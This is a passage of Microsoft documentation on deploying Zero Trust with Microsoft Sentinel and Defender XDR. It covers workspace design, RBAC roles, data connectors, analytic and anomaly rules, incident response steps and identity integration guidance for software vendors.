To create your Log Analytics workspaces, see Create Log Analytics workspaces.
Step 3: Architect the Sentinel Workspace

Onboarding Microsoft Sentinel requires selecting a Log Analytics workspace. The
following are considerations for setting up Log Analytics for Microsoft Sentinel:
Create a “Security” resource group for governance purposes, which allows for
isolation of Microsoft Sentinel resources and role-based access to the collection.
For more information, see Design a Log Analytics workspace architecture.
Create a Log Analytics workspace in the “Security” resource group and onboard
Microsoft Sentinel into it. This automatically gives you 31 days of data ingestion up
to 10 Gb a day free as part of a free trial.
Set your Log Analytics Workspace supporting Microsoft Sentinel to 90 day
retention at a minimum.
Once you onboard Microsoft Sentinel to a Log Analytics workspace, you get 90 days of
data retention at no additional cost. You will incur costs for the total amount of data in
the workspace after 90 days. Setting it to 90 days ensures a 90-day rollover of log data.
You may consider retaining log data for longer based on governmental requirements.
See Quickstart: Onboard in Microsoft Sentinel for more information.
Zero Trust with Microsoft Sentinel

To implement zero-trust architecture, consider extending the workspace to query and
analyze your data across workspaces and tenants. Use Sample Microsoft Sentinel
workspace designs and Extend Microsoft Sentinel across workspaces and tenants to
determine best workspace design for your organization.
In addition, use the Cloud Roles and Operations Management prescriptive guidance
and its Excel spreadsheet (download ). From this guide, the Zero Trust tasks to consider
for Microsoft Sentinel are:
Define Microsoft Sentinel RBAC roles with associated Microsoft Entra groups.
Validate that implemented access practices to Microsoft Sentinel still meet your
organization’s requirements.
Consider the use of customer-managed keys.
Zero Trust with RBAC

To comply with Zero Trust, we recommend that you configure RBAC based on the
resources that are allowed to your users instead of providing them with access to the
entire Microsoft Sentinel environment. The following table lists some of the Microsoft
Sentinel-specific roles.
ﾉ Expand table
Role name Description
Microsoft Sentinel View data, incidents, workbooks, and other Microsoft Sentinel resources.
Reader
Microsoft Sentinel In addition to the capabilities of the Microsoft Sentinel Reader role,
Responder manage incidents (assign, dismiss, etc.). This role is applicable to user types
of security analysts.
Microsoft Sentinel List, view, and manually run playbooks. This role is also applicable to user
Playbook Operator types of security analysts. This role is for granting a Microsoft Sentinel
responder the ability to run Microsoft Sentinel playbooks with the least
amount of privilege.
Microsoft Sentinel In addition to the capabilities of the Microsoft Sentinel Playbook Operator
Contributor role, create and edit workbooks, analytics rules, and other Microsoft
Sentinel resources. This role is applicable to user types of security
engineers.
Microsoft Sentinel Allows Microsoft Sentinel to add playbooks to automation rules. It isn't
Automation meant for user accounts.
Contributor
When you assign Microsoft Sentinel-specific Azure roles, you may come across other
Azure and Log Analytics roles that may have been assigned to users for other purposes.
For example, the Log Analytics Contributor and Log Analytics Reader roles grant access
to a Log Analytics workspace. To implement RBAC for a Microsoft Sentinel workspace,
see Roles and permissions in Microsoft Sentinel and Manage access to Microsoft
Sentinel data by resource.
Zero Trust in Multi-Tenant Architecture with Azure

Lighthouse
Azure Lighthouse enables multi-tenant management with scalability, higher automation,
and enhanced governance across resources. With Azure Lighthouse you can manage
multiple Microsoft Sentinel instances across Microsoft Entra tenants at scale. Here’s an
example.
Azure Entra ID tenant 1 Azure Entra ID tenant 2
RBAC and Azure Policies RBAC and Azure Policies
Platform 1 management group Platform 2 management group
Security Azure Management Azure Identity Azure Security Azure Management Azure Identity Azure
subscription subscription subscription subscription subscription subscription
Microsoft Microsoft
Operations Operations
Sentinel Sentinel
workspace workspace
workspace workspace
With Azure Lighthouse, you can run queries across multiple workspaces or create
workbooks to visualize and monitor data from your connected data sources and gain
additional insight. It’s important to consider Zero Trust principles. See Recommended
security practices to implement least privileges access controls for Azure Lighthouse.
Consider the following questions when implementing security best practices for Azure
Lighthouse:
Who is responsible for data ownership?

What are the data isolation and compliance requirements?
How to implement least privileges across tenants.
How will multiple data connectors in multiple Microsoft Sentinel workspaces be
managed?
How to monitor office 365 environments?
How to protect intellectual properties–for example, playbooks, notebooks,
analytics rules–across tenants?
See Manage Microsoft Sentinel workspaces at scale: Granular Azure RBAC for the
security best practices of Microsoft Sentinel and Azure Lighthouse.
The following are the recommended training modules for this step.
Introduction to Microsoft Sentinel
ﾉ Expand table
Training Introduction to Microsoft Sentinel
Learn how Microsoft Sentinel enables you to start getting valuable security
insights from your cloud and on-premises data quickly.
Start >
Configure your Microsoft Sentinel environment
ﾉ Expand table
Training Configure your Microsoft Sentinel environment
Get started with Microsoft Sentinel by properly configuring the Microsoft

Sentinel workspace.
Start >
Create and manage Microsoft Sentinel workspaces
ﾉ Expand table
Training Create and manage Microsoft Sentinel workspaces
Learn about the architecture of Microsoft Sentinel workspaces to ensure you

configure your system to meet your organization's security operations
requirements.
Start >
Next step
Continue with Step 3 to configure Microsoft Sentinel to ingest data sources and
configure incident detection.
References
Refer to these links to learn about the services and technologies mentioned in this
article.
Microsoft Sentinel:
Quickstart: Onboard in Microsoft Sentinel

Manage access to Microsoft Sentinel data by resource
Microsoft Sentinel governance:
Organize your resources with management groups

Roles and permissions in Microsoft Sentinel
Log Analytics workspaces:
Design a Log Analytics workspace architecture

Design criteria for Log Analytics workspaces
Contoso's solution
Manage access to Log Analytics workspaces - Azure Monitor
Design a Log Analytics workspace architecture
Create Log Analytics workspaces
Microsoft Sentinel workspaces and Azure Lighthouse:
Manage Microsoft Sentinel workspaces at scale: Granular Azure RBAC

Recommended security practices
Feedback
Step 3. Ingest data sources and
configure incident detection in
Microsoft Sentinel
Article • 03/07/2024
After you've completed designing and implementing your Microsoft Sentinel

workspace(s), you can proceed to ingest data sources and configure incident detection.
Data connectors are configured to enable data ingestion into the workspace. After
enabling key data points to be ingested into Sentinel, User and Entity Behavior Analytics
(UEBA) and Analytic Rules must also be enabled to capture anomalous and malicious
activities. Analytic Rules dictate how Alerts and Incidents are generated in your Sentinel
instance. Tailoring Analytic Rules to your environment and organizational needs through
entity mapping allows you to produce high-fidelity incidents and reduce alert fatigue.
Before you begin

Confirm the installation method, roles required, and licenses needed to turn on data
connectors. For more information, see Find your Microsoft Sentinel data connector.
The following table is a summary of the prerequisites required to ingest key Azure and
data connectors:
ﾉ Expand table
Resource Type Installation Role/Permissions/License Needed

Method
Microsoft Entra ID Native Data Security Admin/Global Admin

connector
Sign-in Logs require Microsoft Entra ID P1 or P2
license
Other logs don't require P1 or P2
Microsoft Entra ID Native Data Security Admin/Global Admin

Protection Connector
License: Microsoft Entra ID P2
Azure Activity Azure Policy Owner role required on subscriptions
Microsoft Defender XDR Native Data Security Admin/Global Admin

Connector
License: Microsoft 365 E5, Microsoft 365 A5 or
Resource Type Installation Role/Permissions/License Needed
Method
any other Microsoft Defender XDR eligible

license
Microsoft Defender for Native Data Security Reader

Cloud Connector
To enable bi-directional sync,
Contributor/Security Admin role is required on
the subscription.
Microsoft Defender for Native Data Security Admin/Global admin

Identity Connector
License: Microsoft Defender for Identity

Office 365 Connector
License: Microsoft Defender for Office 365 Plan
2
Office 365 Native Data Security Admin/Global admin

Connector
Microsoft Defender for Contributor to subscription with IoT hubs

IoT

Cloud Apps Connector
License: Microsoft Defender for Cloud Apps

Endpoint Connector
License: Microsoft Defender for Endpoint
Windows Security Events Native Data Read/Write on Log Analytics Workspace

through Azure Monitor Connector with
Agent (AMA) Agent
Syslog Native Data Read/Write Log Analytics Workspace

Connector with
Agent
Step 1: Turn on data connectors

Use the following recommendations to get started with configuring data connectors:
1. Focus on setting up free data sources to ingest:

a. Azure Activity Logs: Ingesting Azure Activity Logs is critical in enabling Sentinel
to provide a single-pane of glass view across the environment.
b. Office 365 Audit Logs, including all SharePoint activity, Exchange admin activity,
and Teams.
c. Security alerts, including alerts from Microsoft Defender for Cloud, Microsoft
Defender XDR, Microsoft Defender for Office 365, Microsoft Defender for
Identity, and Microsoft Defender for Endpoint:
i. Ingesting security alerts into Sentinel enables it to be the "central pane of

incident management" across the environment.
ii. Incident investigation starts in Sentinel and should continue in the Microsoft
Defender portal or Defender for Cloud, if deeper analysis is required.
７ Note
If you have enabled the Microsoft Defender XDR connector, a bi-directional

sync between 365 Defender Incidents and Sentinel is automatically
established. To avoid creating duplicate incidents for the same alerts, we
recommend that customer turn off all Microsoft incident creation rules for
Microsoft Defender XDR-integrated products (Defender for Endpoint,
Defender for Identity, Defender for Office 365, Defender for Cloud Apps,
and Microsoft Entra ID Protection). For more information, see Microsoft
Defender XDR incidents and Microsoft incident creation rules.
d. Microsoft Defender for Cloud Apps Alerts.
For more information, see Free data sources.
The following table lists the free data sources you can enable in Microsoft Sentinel:
 Tip
For more information on the most up-to-date Sentinel pricing, see Microsoft
Sentinel Pricing .
ﾉ Expand table
Microsoft Sentinel data Free data type
connector
Azure Activity Logs AzureActivity
Microsoft Entra ID Protection SecurityAlert (IPC)
Office 365 OfficeActivity (SharePoint)

OfficeActivity (Exchange)
OfficeActivity (Teams)
Microsoft Defender for Cloud SecurityAlert (Defender for Cloud)
Microsoft Defender for IoT SecurityAlert (Defender for IoT)
Microsoft Defender XDR SecurityIncident

SecurityAlert
Microsoft Defender for SecurityAlert (Microsoft Defender Advanced Threat

Endpoint Protection (MDATP))
Microsoft Defender for SecurityAlert (Azure Advanced Threat Protection (AATP))

Identity
Microsoft Defender for Cloud SecurityAlert (Defender for Cloud Apps)

Apps
2. To provide broader monitoring and alerting coverage, focus on the following data
connectors:
７ Note
There is a charge for ingesting data from the sources listed in the section
Microsoft Entra ID
Microsoft Defender XDR connector
Send Microsoft Defender XDR logs to Sentinel, if any of the following are
required:
a. Leverage Fusion Alerts with Sentinel.

Fusion correlates data sources from multiple products to detect
multi-stage attacks across the environment.
b. Longer retention than what is offered in Microsoft Defender XDR.

c. Automation not covered by the built-in remediations offered by
Microsoft Defender for Endpoint. For more information, see
Remediation actions in Microsoft Defender XDR.
3. If deployed in Azure, use the following connectors to send these resources'

Diagnostic Logs to Sentinel:
Azure Firewall
Keyvault
Azure Kubernetes Service
Azure SQL
Network Security Groups
Azure-Arc Servers
The recommended method is setting up Azure Policy to require that their logs be
forwarded to the underlying Log Analytics workspace. For more on information,
see Create diagnostic settings at scale using Azure Policy.
4. For virtual machines hosted on-premises or in other clouds that require their logs
collected, use:
Windows Security Events using AMA

Security Events using Legacy Agent
Events via Defender for Endpoint (for server)
Syslog connector
5. For Network Virtual Appliances or other on-premises sources that generate

Common Event Format (CEF) or SYSLOG logs, use the following connector:
Common Event Format (CEF) via AMA

Common Event Format (CEF) via Legacy Agent
For more information, see, Deploy a log forwarder to ingest Syslog and CEF logs to
Microsoft Sentinel.
Consider migrating from the legacy agent to the new unified Azure Monitor Agent
guidance. For more information, see MIgrat from legacy agents to Azure Monitor
Agent.
6. Search in content hub for other devices, Software as a service (SaaS) apps that
require logs to be sent to Sentinel. For more information, see Discover and
manage Microsoft Sentinel out-of-the-box content .
Step 2: Enable User Entity Behavior Analytics
After setting up data connectors in Sentinel, make sure to enable User Entity Behavior
Analysis to identify suspicious behavior that could lead to phishing exploits and
eventually attacks such as ransomware. Often, anomaly detection through UEBA is the
best method for detecting Zero-day exploits early on.
Data Sources required:
Active Directory logs (Microsoft Defender for Identity)

Microsoft Entra ID
Audit Logs
Azure Activity
Security Events
Sign in Logs
Using UEBA allows Microsoft Sentinel to build behavioral profiles of your organization's
entities across time and peer group to identify anomalous activity. This added utility aids
in an expedition of determining if an asset has been compromised. Since it identifies
peer group association this can also aid in determining the blast radius of said
compromise.
Step 3: Enable Analytic Rules

The brains of Sentinel come from the Analytic Rules. These are rules you set to tell
Sentinel to alert you to events with a set of conditions that you consider to be
important. The out-of-the-box decisions Sentinel makes are based on User Entity
Behavioral Analytics (UEBA) and on correlations of data across multiple data sources.
７ Note
If you have enabled the Microsoft Defender XDR connector, a bi-directional sync
between 365 Defender Incidents and Sentinel is automatically established. To avoid
creating duplicate incidents for the same alerts, we recommend that customer turn
off all Microsoft incident creation rules for Microsoft Defender XDR-integrated
products (Defender for Endpoint, Defender for Identity, Defender for Office 365,
Defender for Cloud Apps, and Microsoft Entra ID Protection). For more information,
see Microsoft Defender XDR incidents and Microsoft incident creation rules.
Microsoft Sentinel enables the Fusion Advanced multistage attack detection analytic rule
by default to automatically identify multistage attacks. Leveraging anomalous behavior
and suspicious activity events observed across the cyber kill chain, Microsoft Sentinel
generates incidents that allow you to see the compromise incidents with two or more
alert activities in it with a high degree of confidence.
Fusion alert technology correlates broad points of data signals with extended machine
learning (ML) analysis to help determine known, unknown and emerging threats. For
example, Fusion detection can take the Anomaly Rule templates and the scheduled
queries created for the Ransomware scenario and pair them with alerts from Microsoft
Security Suite products:

Microsoft Defender for IoT
Another set of out-of-the-box rules enabled by default are Anomaly Rules in Sentinel.
These are based on Machine Learning models and UEBA that train on the data in your
workspace to flag anomalous behavior across users, hosts, and others. Often a phishing
attack leads to an execution step such as local or cloud account manipulation/control or
malicious script execution. Anomaly Rules look exactly for those types of activities:
Anomalous Account Access Removal

Anomalous Account Creation
Anomalous Account Deletion
Anomalous Account Manipulation
Anomalous Code Execution (UEBA)
Anomalous Data Destruction
Anomalous Defensive Mechanism Modification
Anomalous Failed Sign-in
Anomalous Password Reset
Anomalous Privilege Granted
Anomalous Sign-in
Review the Anomaly Rules and Anomaly Score Threshold for each one. If you're
observing false positives for example, consider duplicating the rule and modifying the
threshold by following the steps outlined in Tune anomaly rules.
After reviewing and modifying Fusion and Anomaly rules, enable the out-of-the-box
Microsoft Threat Intelligence Analytics Rule. Verify that this rule matches your log data
with Microsoft-generated threat intelligence. Microsoft has a vast repository of threat
intelligence data, and this Analytic Rule uses a subset of it to generate high fidelity alerts
and incidents for SOC (security operations centers) teams to triage.
With Fusion, Anomaly, and Threat Intelligence Analytic Rules enabled, you should
conduct a MITRE Att&ck crosswalk to help you decide which remaining Analytic Rules to
enable and to finish implementing a mature XDR (extended detection and response)
process. This will empower you to detect and respond throughout the lifecycle of an
attack.
The MITRE Att&ck research department created the MITRE method, and it is provided
as part of Microsoft Sentinel to ease your implementation. You should ensure you have
Analytic rules that stretch the length and breadth of the attack vectors approach. Start
by reviewing the MITRE techniques that are covered by your existing 'Active' Analytic
Rules, and then select 'Analytic rule templates' and 'Anomaly Rules' in the Simulated
dropdown. Now, it will show you where you have the adversary tactic and/or technique
covered and where there are available Analytic Rules you should consider enabling to
improve your coverage. For example, to detect potential phishing attacks, review the
Analytic rule templates for the Phishing technique, and prioritize enabling the rules that
specifically query the data sources you have onboarded to Sentinel.
In general, there are five phases to a human-operated Ransomware attack, and Phishing
falls under Initial Access as can be seen in the screenshot below. Continue through the
remaining steps to cover the entire kill chain with appropriate Analytic Rules:
1. Initial access
2. Credential theft
3. Lateral movement
4. Persistence
5. Defense evasion
6. Exfiltration (this is where ransomware itself is detected)

In summary, when turning on Analytic rules for Sentinel, prioritize enabling by

connected data sources, organizational risk, and MITRE tactic.
Connect data to Microsoft Sentinel using data connectors
ﾉ Expand table
Training Connect data to Microsoft Sentinel using data connectors
The primary approach to connect log data is using the Microsoft Sentinel provided
data connectors. This module provides an overview of the available data
connectors.
Start >
Connect logs to Microsoft Sentinel
ﾉ Expand table
Training Connect logs to Microsoft Sentinel
Connect data at cloud scale across all users, devices, applications, and
infrastructure, both on-premises and in multiple clouds to Microsoft Sentinel.
Start >
Identify threats with Behavioral Analytics
ﾉ Expand table
Training Identify threats with Behavioral Analytics
The primary approach to connect log data is using the Microsoft Sentinel provided
data connectors. This module provides an overview of the available data
connectors.
Start >
Next steps
Continue to Step 4 to respond to an incident.
Feedback
Step 4. Respond to an incident using
Microsoft Sentinel and Microsoft
Defender XDR
Article • 03/07/2024
This article provides a general set of steps and procedures to resolve an incident using
Microsoft Sentinel and Microsoft Defender XDR, which includes triage, investigation, and
resolution. Microsoft Sentinel and Microsoft Defender XDR share:
Updates on lifecycle (status, owner, classification) are shared between the

products.
Evidence gathered during an investigation is shown in the Microsoft Sentinel
incident.
The following diagram shows how Microsoft’s extended detection and response (XDR)
solution seamlessly integrates with Microsoft Sentinel.
Azure Services
Third-party Other Cloud Microsoft SQL Azure Storage
Server VMs Azure DNS
SaaS and SaaS and On-premises Endpoints security and Entra ID and Storage Azure Resource
AD DS and threat Entra ID Network Traffic Manager
PaaS apps PaaS apps Microsoft 365 (devices) Industrial IoT Azure Key Vault
AD FS intelligence
Protec on Azure App Services Azure App Service
Azure Arc-enabled resources
Signals
Microsoft Microsoft Microsoft Microsoft
Defender Defender Defender Defender
for Cloud for Office for for
Apps 365 Identity Endpoint Microsoft Defender for
Cloud

XDR
SecOps analysis
SIEM data and response
Microsoft Sentinel
Third-party &
partners

Multi-cloud
In this diagram:
Insights from signals across your entire organization feed into Microsoft Defender
XDR and Microsoft Defender for Cloud.
Microsoft Defender XDR and Microsoft Defender for Cloud send SIEM log data
through a series of Microsoft Sentinel connectors.
SecOps teams can then analyze and respond to threats.
Microsoft Sentinel provides support for multi-cloud environments and integrates
with third-party apps and partners.
For more information about the integration of Microsoft Defender with Microsoft
Sentinel, see Microsoft Defender XDR integration with Microsoft Sentinel. This
interactive guide steps you through detecting and responding to modern attacks with
Microsoft’s unified security information and event management (SIEM) and extended
detection and response (XDR) capabilities.
Incident response process

The process of incident response to resolve an incident using Microsoft Sentinel and
Microsoft Defender XDR is:
1. Use Microsoft Sentinel portal to triage the potential incident, which includes
understanding the details of the incident and taking immediate actions.
2. Move over to the Microsoft Defender portal to begin your investigation. This
includes:
Understanding the incident and its scope and reviewing asset timelines.
Reviewing self-healing pending actions, manually remediating entities,
performing live response.
Adding prevention measures.
3. Where needed, continue the investigation in the Microsoft Sentinel portal. This
includes:
Understanding the scope of the incident (correlate with your security

Processes, Policies and Procedures [3P]).
Performing 3P automated investigation and remediation actions and creating
custom Security Orchestration, Automation, and Response (SOAR) playbooks.
Recording evidence for incident management.
Adding custom measures.
4. Resolve the incident in the Microsoft Sentinel portal and perform appropriate
follow-up within your security team.
Within Microsoft Sentinel, you can take advantage of playbooks and automation rules.
A playbook is a collection of investigation and remediation actions that can be run

from the Microsoft Sentinel portal as a routine. Playbooks can help automate and
orchestrate your threat response. They can be run manually on-demand on
incidents, entities, and alerts, or set to run automatically in response to specific
alerts or incidents, when triggered by an automation rule. For more information,
see Automate threat response with playbooks.
Automation rules are a way to centrally manage automation in Microsoft Sentinel,
by allowing you to define and coordinate a small set of rules that can apply across
different scenarios. For more information, see Automate threat response in
Microsoft Sentinel with automation rules.
The following sections describe the general incident response process using the
Microsoft Sentinel and Microsoft Defender portals.
Step 1: Triage the incident in the Microsoft

Sentinel portal
Use these steps as a general method to triage the incident with Microsoft Sentinel:
1. Open the Microsoft Sentinel portal.

2. Select Incidents, and then find the suspected incident. You can search for incidents
by their ID, title, tags, incident owner, entity, or product.
3. Once you have located the incident, select it, and then select View full details in
the incident summary pane (Preview).
4. From the Overview tab, view the incident summary, timeline, entities, top insights,
similar incidents, and other information. To run a previously created playbook on
the incident, select Incident actions, and then select Run playbook (Preview).
5. From the Entities tab, find the entity of interest in the list. You can use the search
box to search for the entity’s name or filter on entity type.
6. To run a previously created playbook on an entity, select the entity, and then select
Run playbook. In the Run playbook pane, select Run for the playbooks you have
created and need for this incident to generate additional information on the entity.
7. In the Insights section of the entity pane, select the appropriate categories of
insights you need to gather information on the entity. Please note that the insights
shown here are based on the last 24 hours before the first alert is created. When
you click on Full Details more insights are shown with a configurable time range.
8. Select Incident, and then select the Comments tab.
9. If playbooks were run automatically or manually, review the comments created by
them on the incident.
For more information, see Navigate and investigate incidents in Microsoft Sentinel.
Step 2: Investigate the incident in the Microsoft

Defender portal
Use these steps as a general method to investigate the incident with Microsoft Defender
XDR:
1. From the Incident page of the Microsoft Sentinel portal (Preview), select
Investigate in Microsoft Defender XDR in the summary pane.
2. From the Attack story tab in the Microsoft Defender portal, begin your
investigation with Microsoft Defender XDR. Consider using the following next
steps for your own incident response workflow.
3. View the attack story of the incident to understand its scope, severity, detection
source, and what entities are affected.
4. Begin analyzing the alerts to understand their origin, scope, and severity with the
alert story within the incident.
5. As needed, gather information on impacted devices, users, and mailboxes with the
graph. Click on any entity to open a flyout with all the details.
6. See how Microsoft Defender XDR has automatically resolved some alerts with the
Investigations tab.
7. As needed, use information in the data set for the incident from the Evidence and
Response tab.
For more information, see Incident response with Microsoft Defender XDR.
Step 3: Continue the investigation in the

Microsoft Sentinel portal (as needed)
Use these steps as a general method to continue the incident investigation with
Microsoft Sentinel using the improved incidents page (Preview).
1. In the Microsoft Sentinel portal, locate the incident in the incident queue, select it,
and then select View full details in the incident summary pane.
2. From the Overview tab pane:
a. View the incident timeline.
b. Scroll through the list of entities.
c. See the list of related incidents.
d. View the top insights for the incident.
e. Perform an additional incident action, such as running a playbook or creating an

automation rule.
f. Select Investigate to see a graph of the incident.
3. From the Entities tab pane:
a. View details and insights on a selected entity.
b. As needed and if available, run a playbook (Preview).
4. Add comments to the incident to record your actions and the results of your
analysis.
For more information, see Navigate and investigate incidents in Microsoft Sentinel.
Step 4: Resolve the incident

When your investigation has reached its conclusion and you have remediated the
incident within the portals, you can resolve the incident in the Microsoft Sentinel portal
by setting the incident’s status to Closed.
1. In the Microsoft Sentinel portal using the improved incident page (Preview), locate
the incident in the incident queue and select it. In the Status drop-down for the
incident, select Closed, and then select a classification:
True Positive – suspicious activity

Benign Positive – suspicious but expected
False Positive – incorrect alert logic
False Positive – incorrect data
Undetermined
By selecting a classification, data for the incident is input into a machine learning
model which helps Microsoft provide you with recommendations and correlation
information.
2. You will also be prompted to provide a comment on the incident. You can add
details such as:
The type of attack with a standard description or with codes or abbreviations

used on your security team.
The names of the people who worked on the incident.
The key entities that were affected by the attack.
Notes on remediation tasks and strategies.
Here’s an example.
3. Select Apply to resolve the incident. Once you close the incident in Microsoft
Sentinel, it will synchronize the incident status to Microsoft Defender XDR and
Microsoft Defender for Cloud.
4. As needed, report the incident to your incident response lead for possible follow-
up to determine additional actions, such as:
Inform your Tier 1 security analysts to better detect the attack early.
Create an orchestration playbook to automate and orchestrate your threat
response for a similar. For more information, see Automate threat response
with playbooks in Microsoft Sentinel.
Research the attack in Microsoft Defender XDR Threat Analytics and the
security community for a security attack trend.
As needed, record the workflow you used to resolve the incident and update
your standard workflows, processes, policies, and playbooks.
Determine whether changes in your security configuration are needed and
implement them.
The following are the recommended training modules for this step.
Security incident management in Microsoft Sentinel
ﾉ Expand table
Training Security incident management in Microsoft Sentinel
In this module, you'll investigate Microsoft Sentinel incident management, learn

about Microsoft Sentinel events and entities, and discover ways to resolve
incidents.
Start >
Improve your reliability with modern operations

practices: Incident response
ﾉ Expand table
Training Training Improve your reliability with modern operations practices:

Incident response
Learn the fundamentals of efficient incident response and the Azure tools that
make them possible.
Start >
Understand Microsoft 365 security incident management

ﾉ Expand table
Training Understand Microsoft 365 security incident management
Learn how Microsoft 365 investigates, manages, and responds to security concerns
to protect customers and the Microsoft 365 cloud environment.
Start >
Next steps
See Navigate and investigate incidents in Microsoft Sentinel and Incident response
with Microsoft Defender XDR for more details about incident response processes
within the Microsoft Sentinel and Microsoft Defender portals.
See Incident response overview for Microsoft security best practices.
See Incident response playbooks for workflows and checklists to respond to
common cyberattacks.
References
Use these resources to learn about the various services and technologies mentioned in
this article:
Microsoft Defender XDR integration with Microsoft Sentinel

Unified SIEM and XDR capabilities interactive guide
Automate threat response with playbooks in Microsoft Sentinel
Automate threat response with playbooks
Automate threat response in Microsoft Sentinel with automation rules
Microsoft Defender XDR Threat Analytics
Use these resources to learn more about incident response:
Navigate and investigate incidents in Microsoft Sentinel

Incident response with Microsoft Defender XDR
Incident response overview
Incident response playbooks
Integrate with Zero Trust solutions
Article • 04/17/2024
Zero Trust is an approach to security that adapts to the complexity of the modern
environment, embraces the mobile workforce, and protects people, devices,
applications, and data wherever they are located.
The journey to implementing Zero Trust will be distinct for every organization
depending on their needs and existing infrastructure. For this reason, we support
technology partner integrations that help meet our customers' unique needs.
The integration guidance in this section is organized by Zero Trust technology areas.
This guidance is for software providers and technology partners who want to enhance
their security solutions and reach new customers by integrating with Microsoft products.

organization.
Documentation set
ﾉ Expand table
365 for business
guidance
deployment guidance
Your role
ﾉ Expand table
IT implementer
business
Microsoft 365
Feedback
Identity integrations
Article • 04/17/2024
Identity is the key control plane for managing access in the modern workplace and is
essential to implementing Zero Trust. Identity solutions support Zero Trust through
strong authentication and access policies, least privileged access with granular
permission and access, and controls and policies that manage access to secure
resources and minimize the blast radius of attacks.
This integration guide explains how independent software vendors (ISVs) and
technology partners can integrate with Microsoft Entra ID to create secure Zero Trust
solutions for customers.
Zero Trust for Identity integration guide

This integration guide covers Microsoft Entra ID as well as Azure Active Directory B2C.
Microsoft Entra ID is Microsoft's cloud-based identity and access management service. It

provides single sign-on authentication, conditional access, passwordless and multi-
factor authentication, automated user provisioning and many more features that enable
enterprises to protect and automate identity processes at scale.
Azure Active Directory B2C is a business-to-customer identity access management

(CIAM) solution which customers use to implement secure white-label authentication
solutions that scale easily and blend in with branded web and mobile application
experiences. The integration guidance is available in the Azure Active Directory B2C
section.
Microsoft Entra ID
There are many ways to integrate your solution with Microsoft Entra ID. Foundational
integrations are about protecting your customers using Microsoft Entra ID's built-in
security capabilities. Advanced integrations will take your solution one step further with
enhanced security capabilities.

Foundational integrations
Foundational integrations protect your customers with Microsoft Entra ID's built-in
security capabilities.
Enable single sign-on and publisher verification

To enable single sign-on, we recommend publishing your app in the app gallery . This
will increase customer trust, because they know that your application has been validated
as compatible with Microsoft Entra ID, and you can become a verified publisher so that
customers are certain you are the publisher of the app they are adding to their tenant.
Publishing in the app gallery will make it easy for IT admins to integrate the solution
into their tenant with automated app registration. Manual registrations are a common
cause of support issues with applications. Adding your app to the gallery will avoid
these issues with your app.
For mobile apps, we recommend you use the Microsoft Authentication Library and a
system browser to implement single sign-on.
Integrate user provisioning

Managing identities and access for organizations with thousands of users is challenging.
If your solution will be used by large organizations, consider synchronizing information
about users and access between your application and Microsoft Entra ID. This helps
keep user access consistent when changes occur.
SCIM (System for Cross-Domain Identity Management) is an open standard for
exchanging user identity information. You can use the SCIM user management API to
automatically provision users and groups between your application and Microsoft Entra
ID.
Our tutorial on the subject, develop a SCIM endpoint for user provisioning to apps from
Microsoft Entra ID, describes how to build a SCIM endpoint and integrate with the
Microsoft Entra provisioning service.
Advanced integrations
Advanced integrations will increase the security of your application even further.
Conditional Access authentication context

Conditional Access authentication context allows apps to trigger policy enforcement
when a user accesses sensitive data or actions, keeping users more productive and your
sensitive resources secure.

Continuous access evaluation (CAE) allows access tokens to be revoked based on critical
events and policy evaluation rather than relying on token expiry based on lifetime. For
some resource APIs, because risk and policy are evaluated in real time, this can increase
token lifetime up to 28 hours, which will make your application more resilient and
performant.
Security APIs
In our experience, many independent software vendors have found these APIs to be
particularly useful.
User and group APIs
If your application needs to make updates to the users and groups in the tenant, you
can use the user and group APIs through Microsoft Graph to write back to the Microsoft
Entra tenant. You can read more about using the API in the Microsoft Graph REST API
v1.0 reference and the reference documentation for the user resource type
Conditional Access API

Conditional access is a key part of Zero Trust because it helps to ensure the right user
has the right access to the right resources. Enabling Conditional Access allows Microsoft
Entra ID to make access decision based on computed risk and pre-configured policies.
Independent software vendors can take advantage of conditional access by surfacing

the option to apply conditional access policies when relevant. For example, if a user is
especially risky, you can suggest the customer enable Conditional Access for that user
through your UI, and programmatically enable it in Microsoft Entra ID.
For more, check out the configure conditional access policies using the Microsoft Graph
API sample on GitHub.
Confirm compromise and risky user APIs
Sometimes independent software vendors may become aware of compromise that is

outside of the scope of Microsoft Entra ID. For any security event, especially those
including account compromise, Microsoft and the independent software vendor can
collaborate by sharing information from both parties. The confirm compromise API
allows you to set a targeted user’s risk level to high. This lets Microsoft Entra ID respond
appropriately, for example by requiring the user to reauthenticate or by restricting their
access to sensitive data.

Going in the other direction, Microsoft Entra ID continually evaluates user risk based on
various signals and machine learning. The Risky User API provides programmatic access
to all at-risk users in the app’s Microsoft Entra tenant. Independent software vendors
can make use of this API to ensure they are handling users appropriately to their current
level of risk. riskyUser resource type.
Unique product scenarios

The following guidance is for independent software vendors who offer specific kinds of
solutions.
Secure hybrid access integrations Many business applications were created to work
inside of a protected corporate network, and some of these applications make use of
legacy authentication methods. As companies look to build a Zero Trust strategy and
support hybrid and cloud-first work environments, they need solutions that connect
apps to Microsoft Entra ID and provide modern authentication solutions for legacy
applications. Use this guide to create solutions that provide modern cloud
authentication for legacy on-premises applications.
Become a Microsoft-compatible FIDO2 security key vendor FIDO2 security keys can
replace weak credentials with strong hardware-backed public/private-key credentials
which cannot be reused, replayed, or shared across services. You can become a
Microsoft-compatible FIDO2 security key vendor by following the process in this
document.
Azure Active Directory B2C

Azure Active Directory B2C is a customer identity and access management (CIAM)
solution capable of supporting millions of users and billions of authentications per day.
It is a white-label authentication solution that enables user experiences which blend with
branded web and mobile applications.
As with Microsoft Entra ID, partners can integrate with Azure Active Directory B2C by
using Microsoft Graph and key security APIs such as the Conditional Access, confirm
compromise, and risky user APIs. You can read more about those integrations in the
Microsoft Entra ID section above.
This section includes several other integration opportunities independent software

vendor partners can support.
７ Note
We highly recommend customers using Azure Active Directory B2C (and solutions
that are integrated with it) activate Identity Protection and Conditional Access in
Azure Active Directory B2C.
Integrate with RESTful endpoints

Independent software vendors can integrate their solutions via RESTful endpoints to
enable multi-factor authentication (MFA) and role-based access control (RBAC), enable
identity verification and proofing, improve security with bot detection and fraud
protection, and meet Payment Services Directive 2 (PSD2) Secure Customer
Authentication (SCA) requirements.
We have guidance on how to use our RESTful endpoints as well as detailed sample
walkthroughs of partners who have integrated using the RESTful APIs:
Identity verification and proofing, which enables customers to verify the identity of
their end users
Role-based access control, which enables granular access control to end users
Secure hybrid access to on-premises application, which enables end users to
access on-premises and legacy applications with modern authentication protocols
Fraud protection, which enables customers to protect their applications and end
users from fraudulent login attempts and bot attacks
Web application firewall

Web Application Firewall (WAF) provides centralized protection for web applications
from common exploits and vulnerabilities. Azure Active Directory B2C enables
independent software vendors to integrate their WAF service such that all traffic to
